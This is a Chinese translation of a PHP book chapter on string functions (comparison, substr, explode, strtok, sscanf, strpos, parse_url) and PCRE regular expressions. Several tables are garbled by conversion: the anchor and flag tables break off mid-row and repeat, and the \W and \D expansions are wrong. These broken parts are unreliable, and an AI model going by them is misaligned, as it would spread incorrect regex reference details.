$relationship = strncasecmp(*`string_1`*, *`string_2`*, *`len`*);

这些函数的最后一种变体是 自然顺序 比较,使用 strnatcmp()strnatcasecmp(),它们与 strcmp() 使用相同的参数并返回相同类型的值。自然顺序比较识别被比较字符串中的数字部分,并将字符串部分与数字部分分别排序。

表 4-5 展示了自然顺序和 ASCII 顺序中的字符串。

表 4-5. 自然顺序与 ASCII 顺序

自然顺序 ASCII 顺序
pic1.jpg pic1.jpg
pic5.jpg pic10.jpg
pic10.jpg pic5.jpg
pic50.jpg pic50.jpg

近似相等

PHP 提供了几个函数,允许您测试两个字符串是否近似相等 — soundex()metaphone()similar_text()levenshtein()

$soundexCode = soundex(*`$string`*);
$metaphoneCode = metaphone(*`$string`*);
$inCommon = similar_text(*`$string_1`*, *`$string_2`* [, *`$percentage`* ]);
$similarity = levenshtein(*`$string_1`*, *`$string_2`*);
$similarity = levenshtein(*`$string_1`*, *`$string_2`* [, *`$cost_ins`*, *`$cost_rep`*, 
*`$cost_del`* ]);

Soundex 和 Metaphone 算法各自生成一个字符串,大致表示一个英语单词的发音。要查看这些算法是否将两个字符串近似视为相等,请比较它们的发音。只能将 Soundex 值与 Soundex 值比较,将 Metaphone 值与 Metaphone 值比较。如下示例所示,Metaphone 算法通常更准确:

$known = "Fred";
$query = "Phred";

if (soundex($known) == soundex($query)) {
 print "soundex: {$known} sounds like {$query}<br>";
}
else {
 print "soundex: {$known} doesn't sound like {$query}<br>";
}

if (metaphone($known) == metaphone($query)) {
 print "metaphone: {$known} sounds like {$query}<br>";
}
else {
 print "metaphone: {$known} doesn't sound like {$query}<br>";
}
`soundex``:` `Fred` `doesn``'``t` `sound` `like` `Phred`
`metaphone``:` `Fred` `sounds` `like` `Phred`

similar_text() 函数返回它的两个字符串参数共有的字符数。如果存在第三个参数,则将共性以百分比存储在其中:

$string1 = "Rasmus Lerdorf";
$string2 = "Razmus Lehrdorf";
$common = similar_text($string1, $string2, $percent);
printf("They have %d chars in common (%.2f%%).", $common, $percent);
`They` `have` `13` `chars` `in` `common` `(``89.66``%``)``.`

Levenshtein 算法根据需要添加、替换或删除的字符数计算两个字符串的相似性。例如,"cat""cot" 的 Levenshtein 距离为 1,因为您只需更改一个字符(将 "a" 改为 "o")使它们相同:

$similarity = levenshtein("cat", "cot"); // $similarity is 1

此相似性度量通常比 similar_text() 函数使用的更快速。可选地,您可以将三个值传递给 leven``shtein() 函数,以分别加权插入、删除和替换 —— 例如,比较一个单词与一个缩写。

此示例在比较字符串与其可能的缩写时过度加权插入,因为缩写不应插入字符:

echo levenshtein('would not', 'wouldn\'t', 500, 1, 1);

操作和搜索字符串

PHP 提供了许多用于处理字符串的函数。对于搜索和修改字符串最常用的函数是那些使用正则表达式来描述被查询字符串的函数。本节描述的函数不使用正则表达式 —— 它们比正则表达式更快,但仅适用于寻找固定字符串(例如,如果您要查找 "12/11/01" 而不是 "由斜杠分隔的任意数字")。

子字符串

如果您知道感兴趣的数据位于较大字符串的哪个位置,可以使用 substr() 函数将其复制出来:

$piece = substr(*`string`*, *`start`* [, *`length`* ]);

start 参数是在 string 中开始复制的位置,0 表示字符串的开头。length 参数是要复制的字符数(默认是复制直到字符串的末尾)。例如:

$name = "Fred Flintstone";
$fluff = substr($name, 6, 4); // $fluff is "lint"
$sound = substr($name, 11); // $sound is "tone"

要了解较大字符串中较小字符串出现的次数,请使用 substr_count()

$number = substr_count(*`big_string`*, *`small_string`*);

例如:

$sketch = <<< EndOfSketch
Well, there's egg and bacon; egg sausage and bacon; egg and spam;
egg bacon and spam; egg bacon sausage and spam; spam bacon sausage
and spam; spam egg spam spam bacon and spam; spam sausage spam spam
bacon spam tomato and spam;
EndOfSketch;
$count = substr_count($sketch, "spam");
print("The word spam occurs {$count} times.");
`The` `word` `spam` `occurs` `14` `times``.`

函数 substr_replace() 允许进行多种类型的字符串修改:

$string = substr_replace(*`original`*, *`new`*, *`start`* [, *`length`* ]);

函数替换 original 指定部分,该部分由 start0 表示字符串的开头)和 length 值与字符串 new 替换。如果未给出第四个参数,substr_replace() 将删除从 start 到字符串末尾的文本。

例如:

$greeting = "good morning citizen";
$farewell = substr_replace($greeting, "bye", 5, 7);
// $farewell is "good bye citizen"

使用 length0 进行插入而不删除:

$farewell = substr_replace($farewell, "kind ", 9, 0);
// $farewell is "good bye kind citizen"

使用替换 "" 进行删除而不插入:

$farewell = substr_replace($farewell, "", 8);
// $farewell is "good bye"

下面是如何在字符串开头插入的方法:

$farewell = substr_replace($farewell, "now it's time to say ", 0, 0);
// $farewell is "now it's time to say good bye"'

start 的负值表示从字符串末尾开始替换的字符数:

$farewell = substr_replace($farewell, "riddance", −3);
// $farewell is "now it's time to say good riddance"

负数 length 表示从字符串末尾停止删除的字符数:

$farewell = substr_replace($farewell, "", −8, −5);
// $farewell is "now it's time to say good dance"

杂项字符串函数

函数 strrev() 接受一个字符串并返回其反转副本:

$string = strrev(*`string`*);

例如:

echo strrev("There is no cabal");
`labac` `on` `si` `erehT`

函数 str_repeat() 接受一个字符串和一个计数,并返回一个由参数 string 重复 count 次的新字符串:

$repeated = str_repeat(*`string`*, *`count`*);

例如,构建一个简陋的波浪形水平线:

echo str_repeat('_.-.', 40);

函数 str_pad() 使用一个字符串填充另一个字符串。可选地,您可以指定用于填充的字符串,以及是在左侧、右侧还是两侧填充:

$padded = str_pad(*`to_pad`*, *`length`* [, *`with`* [, *`pad_type`* ]]);

默认在右侧填充空格:

$string = str_pad('Fred Flintstone', 30);
echo "{$string}:35:Wilma";
`Fred` `Flintstone` `:``35``:``Wilma`

可选的第三个参数是要填充的字符串:

$string = str_pad('Fred Flintstone', 30, '. ');
echo "{$string}35";
`Fred` `Flintstone``.` `.` `.` `.` `.` `.` `.` `.``35`

可选的第四个参数可以是 STR_PAD_RIGHT(默认值)、STR_PAD_LEFTSTR_PAD_BOTH(居中)。例如:

echo '[' . str_pad('Fred Flintstone', 30, ' ', STR_PAD_LEFT) . "]\n";
echo '[' . str_pad('Fred Flintstone', 30, ' ', STR_PAD_BOTH) . "]\n";
`[` `Fred` `Flintstone``]`
`[` `Fred` `Flintstone` `]`

分解字符串

PHP 提供了几个函数,可以让你将一个字符串拆分成较小的组件。按复杂性递增的顺序,它们是 explode()strtok()sscanf()

分解和爆炸

数据通常以字符串形式到达,必须将其拆分为值数组。例如,您可能想要从字符串 "Fred,25,Wilma" 中拆分逗号分隔的字段。在这些情况下,使用 explode() 函数:

$array = explode(*`separator`*, *`string`* [, *`limit`*]);

第一个参数 separator 是包含字段分隔符的字符串。第二个参数 string 是要拆分的字符串。可选的第三个参数 limit 是在数组中返回的最大值数。如果达到限制,数组的最后一个元素包含字符串的其余部分:

$input = 'Fred,25,Wilma';
$fields = explode(',', $input);
// $fields is array('Fred', '25', 'Wilma')
$fields = explode(',', $input, 2);
// $fields is array('Fred', '25,Wilma')

函数 implode() 做与 explode() 正好相反的操作——它从较小字符串的数组创建一个大字符串:

$string = implode(*`separator`*, *`array`*);

第一个参数 separator 是要放在第二个参数 array 元素之间的字符串。要重建简单的逗号分隔值字符串,只需说:

$fields = array('Fred', '25', 'Wilma');
$string = implode(',', $fields); // $string is 'Fred,25,Wilma'

函数 join()implode() 的别名。

标记化

函数 strtok() 允许您遍历字符串,每次获取一个新的块(标记)。第一次调用它时,您需要传递两个参数:要遍历的字符串和标记分隔符。例如:

$firstChunk = strtok(*`string`*, *`separator`*);

要检索其余的标记,请反复调用 strtok(),只带分隔符:

$nextChunk = strtok(*`separator`*);

例如,考虑以下调用:

$string = "Fred,Flintstone,35,Wilma";
$token = strtok($string, ",");

while ($token !== false) {
 echo("{$token}<br />");
 $token = strtok(",");
}
`Fred`
`Flintstone`
`35`
`Wilma`

当没有更多标记可返回时,函数 strtok() 返回 false

使用两个参数调用 strtok() 重新初始化迭代器。这会从字符串的开头重新启动标记化器。

sscanf()

函数 sscanf() 根据类似 printf() 的模板分解字符串:

$array = sscanf(*`string`*, *`template`*);
$count = sscanf(*`string`*, *`template`*, *`var1`*, ... );

如果没有使用可选变量,sscanf() 返回字段数组:

$string = "Fred\tFlintstone (35)";
$a = sscanf($string, "%s\t%s (%d)");
print_r($a);
`Array`
`(`
 `[``0``]` `=>` `Fred`
 `[``1``]` `=>` `Flintstone`
 `[``2``]` `=>` `35``)`

通过引用传递变量,使字段存储在这些变量中。返回分配的字段数:

$string = "Fred\tFlintstone (35)";
$n = sscanf($string, "%s\t%s (%d)", $first, $last, $age);
echo "Matched {$n} fields: {$first} {$last} is {$age} years old";
`Matched` `3` `fields``:` `Fred` `Flintstone` `is` `35` `years` `old`

字符串搜索函数

几个函数在一个较大的字符串中查找字符串或字符。它们分为三类:strpos()strrpos(),它们返回位置;strstr()strchr() 和相关函数,它们返回找到的字符串;以及 strspn()strcspn(),它们返回字符串开头匹配掩码的数量。

在所有情况下,如果您指定一个数字作为要搜索的“字符串”,PHP 将该数字视为要搜索的字符的序数值。因此,这些函数调用是相同的,因为 44 是逗号的 ASCII 值:

$pos = strpos($large, ","); // find first comma
$pos = strpos($large, 44); // also find first comma

所有的字符串搜索函数在无法找到指定的子字符串时都返回 false。如果子字符串出现在字符串的开头,这些函数返回 0。因为 false 转换为数字 0,在测试失败时始终使用 === 比较返回值:

if ($pos === false) {
 // wasn't found
}
else {
 // was found, $pos is offset into string
}

返回位置的搜索

函数 strpos() 在较大字符串中查找小字符串的第一次出现:

$position = strpos(*`large_string`*, *`small_string`*);

如果未找到小字符串,strpos() 返回 false

函数 strrpos() 在字符串中查找字符的最后一个出现。它接受与 strpos() 相同的参数并返回相同类型的值。

例如:

$record = "Fred,Flintstone,35,Wilma";
$pos = strrpos($record, ","); // find last comma echo("The last comma in the record is at position {$pos}");
`The` `last` `comma` `in` `the` `record` `is` `at` `position` `18`

返回其余字符串的搜索

函数 strstr() 查找较大字符串中第一次出现的小字符串,并从该小字符串开始返回。例如:

$record = "Fred,Flintstone,35,Wilma";
$rest = strstr($record, ","); // $rest is ",Flintstone,35,Wilma"

strstr() 的变体有:

stristr()

不区分大小写的 strstr()

strchr()

strstr() 的别名

strrchr()

查找字符串中最后一个字符的出现

strrpos() 类似,strrchr() 向后搜索字符串,但仅针对单个字符,而不是整个字符串。

使用掩码进行搜索

如果您认为 strrchr() 很奇怪,那么您还没见过。strspn()strcspn() 函数告诉您字符串开头有多少字符由特定字符组成:

$length = strspn(*`string`*, *`charset`*);

例如,此函数测试字符串是否包含八进制数:

function isOctal($str)
{
 return strspn($str, '01234567') == strlen($str);
}

strcspn()中的c代表complement,表示字符串开头不包含字符集中字符的长度。当有趣字符的数量大于无趣字符的数量时使用它。例如,此函数测试字符串是否包含任何 NUL 字节、制表符或回车符:

function hasBadChars($str)
{
 return strcspn($str, "\n\t\0") != strlen($str);
}

解析 URL

parse_url()函数返回 URL 的各个组成部分的数组:

$array = parse_url(*`url`*);

例如:

$bits = parse_url("http://me:secret@example.com/cgi-bin/board?user=fred");
print_r($bits);

`Array`
`(`
 `[``scheme``]` `=>` `http`
 `[``host``]` `=>` `example``.``com`
 `[``user``]` `=>` `me`
 `[``pass``]` `=>` `secret`
 `[``path``]` `=>` `/``cgi``-``bin``/``board`
 `[``query``]` `=>` `user``=``fred``)`

哈希的可能键包括schemehostportuserpasspathqueryfragment

正则表达式

如果您需要比前面的方法提供更复杂的搜索功能,可以使用正则表达式——它是表示模式的字符串。正则表达式函数会将该模式与另一个字符串进行比较,并查看字符串中是否有任何匹配模式的部分。一些函数告诉您是否有匹配,而其他函数则对字符串进行更改。

正则表达式有三个用途:匹配,也可以用于从字符串中提取信息;用新文本替换匹配文本;将字符串分割成较小块的数组。PHP 有适用于所有这些情况的函数。例如,preg_match()执行正则表达式匹配。

长期以来,Perl 一直被认为是功能强大的正则表达式的基准。PHP 使用称为pcre的 C 库来几乎完全支持 Perl 的正则表达式功能集合。Perl 正则表达式作用于任意二进制数据,因此您可以安全地使用包含 NUL 字节(\x00)的模式或字符串进行匹配。

基础知识

正则表达式中的大多数字符都是字面字符,意味着它们仅匹配它们自己。例如,如果您在字符串"Dave was a cowhand"中搜索正则表达式"/cow/",您会得到一个匹配,因为该字符串中包含"cow"

一些字符在正则表达式中具有特殊含义。例如,正则表达式开头的插入符号(^)表示它必须匹配字符串的开头(或者更准确地说,将正则表达式锚定到字符串的开头):

preg_match("/^cow/", "Dave was a cowhand"); // returns false
preg_match("/^cow/", "cowabunga!"); // returns true

类似地,正则表达式末尾的美元符号($)表示它必须匹配字符串的末尾(即将正则表达式锚定到字符串的末尾):

preg_match("/cow$/", "Dave was a cowhand"); // returns false
preg_match("/cow$/", "Don't have a cow"); // returns true

正则表达式中的句点(.)匹配任意单个字符:

preg_match("/c.t/", "cat"); // returns true
preg_match("/c.t/", "cut"); // returns true
preg_match("/c.t/", "c t"); // returns true
preg_match("/c.t/", "bat"); // returns false
preg_match("/c.t/", "ct"); // returns false

如果您想匹配这些特殊字符中的一个(称为元字符),您必须使用反斜杠进行转义:

preg_match("/\$5.00/", "Your bill is $5.00 exactly"); // returns true
preg_match("/$5.00/", "Your bill is $5.00 exactly"); // returns false

默认情况下,正则表达式区分大小写,因此正则表达式"/cow/"不匹配字符串"COW"。如果您想执行不区分大小写的匹配,可以指定一个标志(稍后在本章中将会看到)。

到目前为止,我们还没有做任何与我们已经看过的字符串函数(如 strstr())无法完成的事情。正则表达式的真正威力来自于它们能够指定抽象模式,这些模式可以匹配许多不同的字符序列。您可以在正则表达式中指定三种基本类型的抽象模式:

  • 可以出现在字符串中的可接受字符集(例如,字母字符、数字字符、特定标点字符)

  • 一组字符串的替代项(例如 "com""edu""net""org"

  • 字符串中的重复序列(例如,至少一个但不超过五个数字字符)

这三种类型的模式可以以无数种方式结合在一起,以创建能够匹配有效电话号码和 URL 等内容的正则表达式。

字符类

要在模式中指定一组可接受的字符集,您可以自己构建一个字符类或使用预定义的字符类。您可以通过将可接受的字符括在方括号中来构建自己的字符类:

preg_match("/c[aeiou]t/", "I cut my hand"); // returns true
preg_match("/c[aeiou]t/", "This crusty cat"); // returns true
preg_match("/c[aeiou]t/", "What cart?"); // returns false
preg_match("/c[aeiou]t/", "14ct gold"); // returns false

正则表达式引擎找到一个 "c",然后检查下一个字符是否是 "a""e""i""o""u" 中的一个元音字母。如果不是元音字母,则匹配失败,引擎会回到寻找另一个 "c"。如果找到一个元音字母,则引擎检查下一个字符是否是 "t"。如果是,则引擎处于匹配的末尾并返回 true。如果下一个字符不是 "t",则引擎会回到寻找另一个 "c"

您可以在开头使用插入符 (^) 来否定一个字符类:

preg_match("/c[^aeiou]t/", "I cut my hand"); // returns false
preg_match("/c[^aeiou]t/", "Reboot chthon"); // returns true
preg_match("/c[^aeiou]t/", "14ct gold"); // returns false

在这种情况下,正则表达式引擎正在寻找一个以 "c" 开头的字符,后面跟着一个不是元音字母的字符,然后是一个 "t"

您可以使用连字符 (-) 定义字符的范围。这简化了字符类,例如“所有字母”和“所有数字”:

preg_match("/[0-9]%/", "we are 25% complete"); // returns true
preg_match("/[0123456789]%/", "we are 25% complete"); // returns true
preg_match("/[a-z]t/", "11th"); // returns false
preg_match("/[a-z]t/", "cat"); // returns true
preg_match("/[a-z]t/", "PIT"); // returns false
preg_match("/[a-zA-Z]!/", "11!"); // returns false
preg_match("/[a-zA-Z]!/", "stop!"); // returns true

当您指定字符类时,一些特殊字符失去其含义,而其他字符则具有新的含义。特别地,$ 锚点和句点在字符类中失去其含义,而 ^ 字符如果是开方括号后的第一个字符,则不再是锚点,而是否定字符类。例如,[^\]] 匹配任何非闭合括号字符,而 [$.^] 匹配任何美元符号、句点或插入符。

各种正则表达式库定义了字符类的快捷方式,包括数字、字母字符和空白字符。

替代项

您可以使用竖线 (|) 字符来指定正则表达式中的替代项:

preg_match("/cat|dog/", "the cat rubbed my legs"); // returns true
preg_match("/cat|dog/", "the dog rubbed my legs"); // returns true
preg_match("/cat|dog/", "the rabbit rubbed my legs"); // returns false

替代的优先级可能会让人感到意外:"/^cat|dog$/" 会从 "^cat""dog$" 中选择,意味着它匹配以 "cat" 开头或以 "dog" 结尾的行。如果您希望匹配仅包含 "cat""dog" 的行,则需要使用正则表达式 "/^(cat|dog)$/"

您可以结合字符类和替代项,例如检查不以大写字母开头的字符串:

preg_match("/^([a-z]|[0-9])/", "The quick brown fox"); // returns false
preg_match("/^([a-z]|[0-9])/", "jumped over"); // returns true
preg_match("/^([a-z]|[0-9])/", "10 lazy dogs"); // returns true

重复序列

要指定重复模式,需要使用量词。量词跟在要重复的模式之后,并指定重复该模式的次数。表格 4-6 显示了 PHP 正则表达式支持的量词。

表格 4-6. 正则表达式量词

量词 含义
? 0 或 1 次
* 0 或更多次
+ 1 或更多次
{ n } 恰好 n
{ n , m } 至少 n 次,不超过 m
{ n ,} 至少 n

要重复单个字符,只需将量词放在字符后面:

preg_match("/ca+t/", "caaaaaaat"); // returns true
preg_match("/ca+t/", "ct"); // returns false
preg_match("/ca?t/", "caaaaaaat"); // returns false
preg_match("/ca*t/", "ct"); // returns true

使用量词和字符类,我们实际上可以做一些有用的事情,比如匹配有效的美国电话号码:

preg_match("/[0-9]{3}-[0-9]{3}-[0-9]{4}/", "303-555-1212"); // returns true
preg_match("/[0-9]{3}-[0-9]{3}-[0-9]{4}/", "64-9-555-1234"); // returns false

子模式

你可以使用括号将正则表达式的各部分分组,以便将其作为称为子模式的单个单元处理:

preg_match("/a (very )+big dog/", "it was a very very big dog"); // returns true
preg_match("/^(cat|dog)$/", "cat"); // returns true
preg_match("/^(cat|dog)$/", "dog"); // returns true

括号还会导致匹配子模式的子字符串被捕获。如果将数组作为 match 函数的第三个参数传递,数组将填充任何捕获的子字符串:

preg_match("/([0-9]+)/", "You have 42 magic beans", $captured);
// returns true and populates $captured

数组的零号元素设置为整个匹配的字符串。第一个元素是匹配第一个子模式(如果有的话)的子字符串,第二个元素是匹配第二个子模式的子字符串,依此类推。

定界符

Perl 风格的正则表达式模拟了 Perl 模式的语法,这意味着每个模式必须用一对定界符括起来。传统上,正斜杠 (/) 字符被使用;例如,/模式/。然而,除反斜杠 (\) 字符之外的任何非字母数字字符都可以用于分隔 Perl 风格的模式。这对于匹配包含斜杠的字符串(例如文件名)非常有用。例如,以下两者是等价的:

preg_match("/\/usr\/local\//", "/usr/local/bin/perl"); // returns true
preg_match("#/usr/local/#", "/usr/local/bin/perl"); // returns true

括号 (())、大括号 ({})、方括号 ([]) 和尖括号 (<>) 可以用作模式定界符:

preg_match("{/usr/local/}", "/usr/local/bin/perl"); // returns true

章节 “尾随选项” 讨论了你可以在结束定界符后添加的单字符修饰符,以修改正则表达式引擎的行为。一个非常有用的选项是 x,它使正则表达式引擎在匹配之前从正则表达式中去除空白和 # 标记的注释。这两个模式是相同的,但一个更易于阅读:

'/([[:alpha:]]+)\s+\1/'
'/( # start capture
[[:alpha:]]+ # a word
\s+ # whitespace
\1 # the same word again
 ) # end capture
/x'

匹配行为

句点 (.) 匹配除换行符 (\n) 外的任何字符。美元符号 ($) 匹配字符串的末尾,或者如果字符串以换行符结尾,则在该换行符之前:

preg_match("/is (.*)$/", "the key is in my pants", $captured);
// $captured[1] is 'in my pants'

字符类

如 表格 4-7 所示,Perl 兼容的正则表达式定义了一些命名字符集,你可以在字符类中使用这些字符集。表格 4-7 中的扩展是针对英文的。实际字母根据地区而有所不同。

每个 [: something :] 类可以用于字符类中的字符位置。例如,要查找任何数字、大写字母或“at”符号 (@) 的字符,请使用以下正则表达式:

[@[:digit:][:upper:]]

然而,你不能使用字符类作为范围的结束点:

preg_match("/[A-[:lower:]]/", "string");// invalid regular expression

某些区域设置认为某些字符序列就像它们是一个单独的字符一样 — 这些称为整理序列。要在字符类中匹配其中一个多字符序列,请用 [..] 括起来。例如,如果你的区域设置有整理序列 ch,你可以用这个字符类匹配 stch

[st[.ch.]]

对字符类的最终扩展是等价类,你可以通过将字符括在 [==] 中指定。等价类匹配具有相同排序顺序的字符,如当前区域设置中定义的那样。例如,某个区域设置可能将 aáä 定义为具有相同排序优先级。要匹配它们中的任何一个,等价类是 [=a=]

表 4-7. 字符类

类别 描述 扩展
[:alnum:] 字母数字字符 [0-9a-zA-Z]
[:alpha:] 字母字符(字母) [a-zA-Z]
[:ascii:] 7 位 ASCII [\x01-\x7F]
[:blank:] 水平空白(空格、制表符) [ \t]
[:cntrl:] 控制字符 [\x01-\x1F]
[:digit:] 数字 [0-9]
[:graph:] 使用墨水打印的字符(非空格、非控制字符) [^\x01-\x20]
[:lower:] 小写字母 [a-z]
[:print:] 可打印字符(图形类加空格和制表符) [\t\x20-\xFF]
[:punct:] 任何标点字符,如句点(.)和分号(; [-!"#$%&'()*+,./:;<=>?@[\\\]^_'{&#124;}~]
[:space:] 空白字符(换行符、回车符、制表符、空格、垂直制表符) [\n\r\t \x0B]
[:upper:] 大写字母 [A-Z]
[:xdigit:] 十六进制数字 [0-9a-fA-F]
\s 空白字符 [\r\n \t]
\S 非空白 [^\r\n \t]
\w 单词(标识符)字符 [0-9A-Za-z_]
\W 非单词(标识符)字符 [⁰-9A-Za-z_]
\d 数字 [0-9]
\D 非数字 [⁰-9]

锚点

锚点限定了正则表达式匹配到字符串中的特定位置(锚点并不匹配目标字符串中的实际字符)。正则表达式支持的锚点列在表 4-8 中。

表 4-8. 锚点

锚点 匹配
^ 字符串开始
` 锚点
--- ---
^ 字符串开始
字符串结尾
[[:<:]] 单词开头
[[:>:]] 单词结尾
\b 单词边界(在 \w\W 之间或在字符串开头或结尾)
\B 非单词边界(在 \w\w 之间,或 \W\W 之间)
\A 字符串开始
\Z 字符串结束或在末尾的 \n 之前
\z 字符串结尾
^ 行开始(或在启用 /m 标志时的 \n 之后)
$ 行尾(或在启用 /m 标志时的 \n 之前)

词边界被定义为空白字符和标识符(字母数字或下划线)字符之间的点:

preg_match("/[[:<:]]gun[[:>:]]/", "the Burgundy exploded"); // returns false
preg_match("/gun/", "the Burgundy exploded"); // returns true

请注意,字符串的开头和结尾也被视为词边界。

量词和贪婪

正则表达式量词通常是贪婪的。也就是说,当遇到量词时,引擎会尽可能多地匹配,同时仍满足模式的其余部分。例如:

preg_match("/(<.*>)/", "do <b>not</b> press the button", $match);
// $match[1] is '<b>not</b>'

正则表达式从第一个小于号匹配到最后一个大于号。实际上,.*匹配第一个小于号之后的所有内容,然后引擎回溯以使其匹配越来越少,直到最终有一个大于号需要匹配。

这种贪婪性可能会成为问题。有时您需要最小(非贪婪)匹配,即尽可能少地匹配以满足模式的其余部分。Perl 提供了一组与贪婪量词对应的最小匹配量词。它们很容易记住,因为它们与贪婪量词相同,只是附加了一个问号(?)。表 4-9 显示了 Perl 风格正则表达式支持的相应贪婪和非贪婪量词。

表 4-9. Perl 兼容正则表达式中的贪婪和非贪婪量词

贪婪量词 非贪婪量词
? ??
* *?
+ +?
{m} {m}?
{m,} {m,}?
{m,n} {m,n}?

这是如何使用非贪婪量词匹配标签的方法:

preg_match("/(<.*?>)/", "do <b>not</b> press the button", $match);
// $match[1] is "<b>"

另一种更快的方法是使用字符类来匹配下一个大于号之前的每个非大于号字符:

preg_match("/(<[^>]*>)/", "do <b>not</b> press the button", $match);
// $match[1] is '<b>'

非捕获组

如果您将模式的一部分括在括号中,则匹配该子模式的文本将被捕获并可以在以后访问。但有时,您想创建一个不捕获匹配文本的子模式。在兼容 Perl 的正则表达式中,您可以使用(?: 子模式 )结构来实现这一点:

preg_match("/(?:ello)(.*)/", "jello biafra", $match);
// $match[1] is " biafra"

反向引用

您可以使用反向引用在模式中引用先前捕获的文本:\1引用第一个子模式的内容,\2引用第二个,依此类推。如果嵌套子模式,第一个从第一个左括号开始,第二个从第二个左括号开始,依此类推。

例如,这可以识别重复的单词:

preg_match("/([[:alpha:]]+)\s+\1/", "Paris in the the spring", $m);
// returns true and $m[1] is "the"

preg_match()函数最多捕获 99 个子模式;第 99 个之后的子模式将被忽略。

尾部选项

Perl 风格的正则表达式允许您在正则表达式模式后面放置单个字母选项(标志),以修改匹配的解释或行为。例如,要进行不区分大小写匹配,只需使用i标志:

preg_match("/cat/i", "Stop, Catherine!"); // returns true

表 4-10 显示了哪些 Perl 修饰符在兼容 Perl 的正则表达式中受支持。

表 4-10. Perl 标志

修饰符 含义
/regexp/i 不区分大小写匹配
/regexp/s 使句点(.)匹配任何字符,包括换行符(\n
/regexp/x 从模式中去除空格和注释
/regexp/m 使插入符号(^)匹配内部换行符(\n)后,以及美元符号(`
--- ---
/regexp/i 不区分大小写匹配
/regexp/s 使句点(.)匹配任何字符,包括换行符(\n
/regexp/x 从模式中去除空格和注释
)匹配内部换行符(\n)前
/regexp/e 如果替换字符串是 PHP 代码,则使用eval()执行它以获取实际替换字符串

PHP 的 Perl 兼容正则表达式函数还支持 Perl 不支持的其他修饰符,如表 4-11 所列。

表 4-11. 其他 PHP 标志

Modifier Meaning
/regexp/U 反转子模式的贪婪性;*+现在尽可能少地匹配,而不是尽可能多地匹配
/regexp/u 使模式字符串被视为 UTF-8
/regexp/X 使反斜杠后跟一个没有特殊含义的字符时发生错误
/regexp/A 使字符串的开头锚定,就好像模式的第一个字符是^
/regexp/D 使`
--- ---
/regexp/U 反转子模式的贪婪性;*+现在尽可能少地匹配,而不是尽可能多地匹配
/regexp/u 使模式字符串被视为 UTF-8
/regexp/X 使反斜杠后跟一个没有特殊含义的字符时发生错误
/regexp/A 使字符串的开头锚定,就好像模式的第一个字符是^
字符只匹配行尾
/regexp/S 使表达式解析器更仔细地检查模式的结构,因此在下一次运行(例如在循环中)时可能运行得稍快些

可以在单个模式中使用多个选项,如以下示例所示:

$message = <<< END
To: you@youcorp
From: me@mecorp
Subject: pay up

Pay me or else!
END;

preg_match("/^subject: (.*)/im", $message, $match);

print_r($match);

// output: Array ( [0] => Subject: pay up [1] => pay up )

内联选项

除了在闭合模式定界符后指定整体模式选项外,还可以在模式中的部分指定选项以仅应用于模式的一部分。其语法为:

(?*`flags`*:*`subpattern`*)

例如,在此示例中只有单词“PHP”是大小写不敏感的:

echo preg_match('/I like (?i:PHP)/', 'I like pHp', $match);
print_r($match) ;
// returns true (echo: 1)
// $match[0] is 'I like pHp'

imsUxX选项可以以这种方式在内部应用。你可以同时使用多个选项:

preg_match('/eat (?ix:foo d)/', 'eat FoOD'); // returns true

使用连字符(-)前缀来关闭一个选项:

echo preg_match('/I like (?-i:PHP)/', 'I like pHp', $match);
print_r($matche) ;
// returns false (echo: 0)
// $match[0] is ''

替代形式可以启用或禁用标志,直到封闭子模式或模式结束:

preg_match('/I like (?i)PHP/', 'I like pHp'); // returns true
preg_match('/I (like (?i)PHP) a lot/', 'I like pHp a lot', $match);
// $match[1] is 'like pHp'

内联标志不启用捕获。你需要额外的捕获括号来实现这一点。

前瞻和后顾

在模式中,有时可以很有用地说“如果接下来是这样,则在此处匹配”。这在分割字符串时特别常见。正则表达式描述了分隔符,但分隔符本身不会被返回。你可以使用前瞻来确保(不进行匹配,从而防止它被返回)分隔符后还有更多数据。同样地,后顾检查前面的文本。

前瞻和后顾有两种形式:正向负向。正向前瞻或后顾表示“下一个/前一个文本必须是这样”。负向前瞻或后顾表示“下一个/前一个文本不能是这样”。表 4-12 展示了在兼容 Perl 的模式中可用的四种构造。这些构造都不捕获文本。

表 4-12. 前瞻和后顾断言

Construct Meaning
(?=subpattern) 正向预查
(?!subpattern) 负向预查
(?<=subpattern) 正向回顾后断言
(?<!subpattern) 负向回顾后断言

正向预查的一个简单用法是将 Unix mbox 邮件文件拆分为单独的消息。单独起始一行的单词"From"指示新消息的开始,因此可以通过指定分隔符为下一文本在行首为"From"来将邮箱拆分为消息:

$messages = preg_split('/(?=^From )/m', $mailbox);

使用负回顾后断言的一个简单用法是提取包含带引号定界符的引号字符串。例如,以下是提取单引号字符串的方法(注意使用x修饰符注释正则表达式):

$input = <<< END
name = 'Tim O\'Reilly';
END;

$pattern = <<< END
' # opening quote
( # begin capturing
 .*? # the string
 (?<! \\\\ ) # skip escaped quotes
) # end capturing
' # closing quote END;
preg_match( "($pattern)x", $input, $match);
echo $match[1];
`Tim` `O\``'``Reilly`

唯一棘手的部分是,为了得到一个向后查看以查看最后一个字符是否为反斜杠的模式,我们需要转义反斜杠以防止正则表达式引擎看到\),这将意味着文字的右括号。换句话说,我们必须反斜杠那个反斜杠:\\)。但是 PHP 的字符串引用规则表示\\会生成一个文字上的单个反斜杠,所以我们最终需要四个反斜杠来传递给正则表达式!这就是为什么正则表达式以难以阅读而闻名。

Perl 限制回顾后断言为常数宽度表达式。也就是说,表达式不能包含量词,如果使用选择,所有选择必须具有相同的长度。Perl 兼容的正则表达式引擎也禁止在回顾后断言中使用量词,但允许不同长度的选择。

Cut

很少使用的一次性子模式或cut通过阻止某些类型模式在正则表达式引擎中的最坏情况行为。一旦匹配,该子模式将不再回溯。

一次性子模式的常见用法是当你有一个可能本身重复的重复表达式时:

/(a+|b+)*\.+/

此代码片段需要几秒钟来报告失败:

$p = '/(a+|b+)*\.+$/';
$s = 'abababababbabbbabbaaaaaabbbbabbababababababbba..!';

if (preg_match($p, $s)) {
 echo "Y";
}
else {
 echo "N";
}

正则表达式引擎尝试所有不同的起始匹配位置,但必须回溯每一个,这需要时间。如果你知道一旦某些内容匹配就不应该回溯,你应该用(?>*subpattern*)标记它:

$p = '/(?>a+|b+)*\.+$/';

剪切永远不会改变匹配的结果;它只是让匹配失败更快。

条件表达式

条件表达式就像正则表达式中的if语句。一般形式是:

(?(*`condition`*)*`yespattern`*)
(?(*`condition`*)*`yespattern`*|*`nopattern`*)

如果断言成功,正则表达式引擎匹配yespattern。第二种形式,如果断言不成功,正则表达式引擎跳过yespattern,尝试匹配nopattern

